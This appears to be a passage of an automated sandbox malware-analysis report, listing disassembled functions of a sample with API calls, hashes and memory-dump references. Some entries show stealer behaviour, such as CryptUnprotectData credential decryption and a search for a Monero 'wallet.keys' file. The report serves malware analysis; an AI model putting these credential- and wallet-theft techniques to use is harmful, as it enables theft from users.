Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: db804bd6eb1ed4e4a7d75e657aec95771a4c001dbed4cb61baef0e27f2333edc
Instruction ID: 3f276c77b2831b62e8c33b6474fea6271bdb10dfe121cfb301e22bbc13840f72
Opcode Fuzzy Hash: db804bd6eb1ed4e4a7d75e657aec95771a4c001dbed4cb61baef0e27f2333edc
Instruction Fuzzy Hash: FD1182B1945228DBEB24DB54DC45F99B778FB44721F1043A5E51A932C0C7745A80DF51

Function 012C9C1C Relevance: 5.3, Strings: 3, Instructions: 1563COMMON

Download Yara Rule

Strings

!u, xrefs: 012CA3C7
7ZA, xrefs: 012CAC51
S:{, xrefs: 012CA26B

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7ZA$!u$S:{
API String ID: 0-260234434
Opcode ID: f4854feb95417d41d077ee4da97a54914d403544b0f7657f51615388c36d67d3
Instruction ID: ce01bd26eb21a1e5c6b31c9f3af83067d3a7ab732768c43d5a7ed4dcb3bce2a9
Opcode Fuzzy Hash: f4854feb95417d41d077ee4da97a54914d403544b0f7657f51615388c36d67d3
Instruction Fuzzy Hash: E2B2E5F3A0C2049FE304AE29DC8567AFBE5EF94720F1A493DE6C5C3744EA3598058697

Function 00F13720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00F1E118,00000000,00000001,00F1E108,00000000), ref: 00F13758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00F137B0

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: af75902474b998e726421b0fbd3b6680261cbd085595fbecd0e764b79dc8893d
Instruction ID: d76c4b8b0b3c9eaecc5c18277516d64b235dc12fc7e7fedf37d22049bde3882e
Opcode Fuzzy Hash: af75902474b998e726421b0fbd3b6680261cbd085595fbecd0e764b79dc8893d
Instruction Fuzzy Hash: 4E410671A40A28AFDB24DB58CC94BDBB7B4BB48702F4041D8E609A72D0E771AEC5CF50

Function 00F09B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00F09B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00F09BA3
LocalFree.KERNEL32(?), ref: 00F09BD3

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 203d264517af044a038ee6cff18877e4d55a1367f0a298b66193644ee7926d63
Instruction ID: 7849885e10ff62bc1ba7675976dad0802db927bd2c1b501b50ad91d7651c8ca0
Opcode Fuzzy Hash: 203d264517af044a038ee6cff18877e4d55a1367f0a298b66193644ee7926d63
Instruction Fuzzy Hash: C8110CB8A00209EFDB04DF94D985AAE77B5FF88700F104568E81597384D774AE50CF61

Function 012CB6B4 Relevance: 4.2, Strings: 2, Instructions: 1668COMMON

Download Yara Rule

Strings

@/_, xrefs: 012CC556
iakm, xrefs: 012CBAB6

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: iakm$@/_
API String ID: 0-3554580638
Opcode ID: 9ced6500eb433c0876decb07a35e8af1a9f08e4f7c715e6a27b5778b83f7f8dc
Instruction ID: 0bdd2dc27dfb6b134f48f134537dcc06c0f10b01b89cbfa7ba3e4e9de0990eaf
Opcode Fuzzy Hash: 9ced6500eb433c0876decb07a35e8af1a9f08e4f7c715e6a27b5778b83f7f8dc
Instruction Fuzzy Hash: DEB22BF3A0C2049FE3046E2DEC8577ABBE9EBD4320F1A493DEAC5C7744E63558058696

Function 00F0F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F215B8,00F20D96), ref: 00F0F71E
StrCmpCA.SHLWAPI(?,00F215BC), ref: 00F0F76F
StrCmpCA.SHLWAPI(?,00F215C0), ref: 00F0F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00F0FAB1
FindClose.KERNEL32(000000FF), ref: 00F0FAC3

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c19a005c7c07037de24dbfc9fa304fcb766ce1a542c07603fee7310fcc33b9d6
Instruction ID: bcabebe41a976f7511cb76cc7e5b815def640e0da7eae577e478326431474899
Opcode Fuzzy Hash: c19a005c7c07037de24dbfc9fa304fcb766ce1a542c07603fee7310fcc33b9d6
Instruction Fuzzy Hash: 3D11963580115D9BDB24FBB0ED559ED7378AF10320F4042A9A51A574D2EF382B8AEB92

Function 0123DAE4 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

C85, xrefs: 0123DD2E

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: C85
API String ID: 0-414140983
Opcode ID: a00c9b5b53c9fcef6794fe7472e5cc5372b1d546ae2382c8cb80cc595a030f09
Instruction ID: fcb4ebd9dad46397303ac9f1189e9d724fbd8a05fb3e9cf11276960f03b96a04
Opcode Fuzzy Hash: a00c9b5b53c9fcef6794fe7472e5cc5372b1d546ae2382c8cb80cc595a030f09
Instruction Fuzzy Hash: 305107F3E192109FF3046E39DC8476AB7E6EB94320F2B4A3DD9C897780E57948458782

Function 0129C4BA Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

>9'<, xrefs: 0129C681

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >9'<
API String ID: 0-4020256883
Opcode ID: f50c3dcde1ce2e9aa221eebdbcafa234a48d5785b82232e777bcb4082446d06d
Instruction ID: c12524154840efbd749d0fc4b155de552c9631e5d2c7b39537a11a0e4f6a9190
Opcode Fuzzy Hash: f50c3dcde1ce2e9aa221eebdbcafa234a48d5785b82232e777bcb4082446d06d
Instruction Fuzzy Hash: 7351F3B39097189FE3046F19DC8177ABBE5EF54320F16493EE6C987380EA355851CB86

Function 0118DE78 Relevance: 1.4, Strings: 1, Instructions: 190COMMON

Download Yara Rule

Strings

kD?~, xrefs: 0118E007

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: kD?~
API String ID: 0-1435761669
Opcode ID: dbdab817e47fe2076be42835a31b27f367e40341edb87d2d02ada058d792aaa9
Instruction ID: 4def62d3f5a94278bd2faa33dc52b2b89b00fa42ca7fe69654524318f6e03e97
Opcode Fuzzy Hash: dbdab817e47fe2076be42835a31b27f367e40341edb87d2d02ada058d792aaa9
Instruction Fuzzy Hash: 8251F2B3A083149FE3046E29EC8477AF7E5EB90710F1A493DD9C997780DA395C458B86

Function 013BB192 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

+."Q, xrefs: 013BB22B

Memory Dump Source

Source File: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +."Q
API String ID: 0-3749362571
Opcode ID: b510368a1c274d0378df4688fc5e664070b75281f5660bbb491477bf278022b8
Instruction ID: abed2fe82ca743c2fa6da068aa8e6ef926213545e514c4369ab21ed987cbffc6
Opcode Fuzzy Hash: b510368a1c274d0378df4688fc5e664070b75281f5660bbb491477bf278022b8
Instruction Fuzzy Hash: 1541D4B660D708CBD308AE29D89547EF7E9EF94714F06493EE6C687E44FE3058418A43

Function 01362A9E Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

o"~~, xrefs: 01362B64

Memory Dump Source

Source File: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: o"~~
API String ID: 0-2143920772
Opcode ID: 6a3f6ebc9b9dd4ecd17243327f46a12a0168c965d0ab011ead603bebd0a72666
Instruction ID: da9215b74a130063e67e4c6fa75e14053ff7adb843ad808e73ca648ad2c9481f
Opcode Fuzzy Hash: 6a3f6ebc9b9dd4ecd17243327f46a12a0168c965d0ab011ead603bebd0a72666
Instruction Fuzzy Hash: D1317CB250C604AFE305BE2ADC416AEFBE6FFD8310F16892DE2D583614EA305440CA87

Function 013686EE Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

w//, xrefs: 013687CB

Memory Dump Source

Source File: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: w//
API String ID: 0-3274472087
Opcode ID: 8eb69b7d9dde8649d2c1a80b0c151f118e379af701f2bf51fa1ca5b556be9819
Instruction ID: 0d2d73bbf07e0f823a10d089f0c490cc570a0f7d18652eccf7f6ecef9b36550c
Opcode Fuzzy Hash: 8eb69b7d9dde8649d2c1a80b0c151f118e379af701f2bf51fa1ca5b556be9819
Instruction Fuzzy Hash: 9B218DB290C2089FE715BE19DC4176EF7E5EFA8310F16892CEBD043350FA3168249A87

Function 01231DCF Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
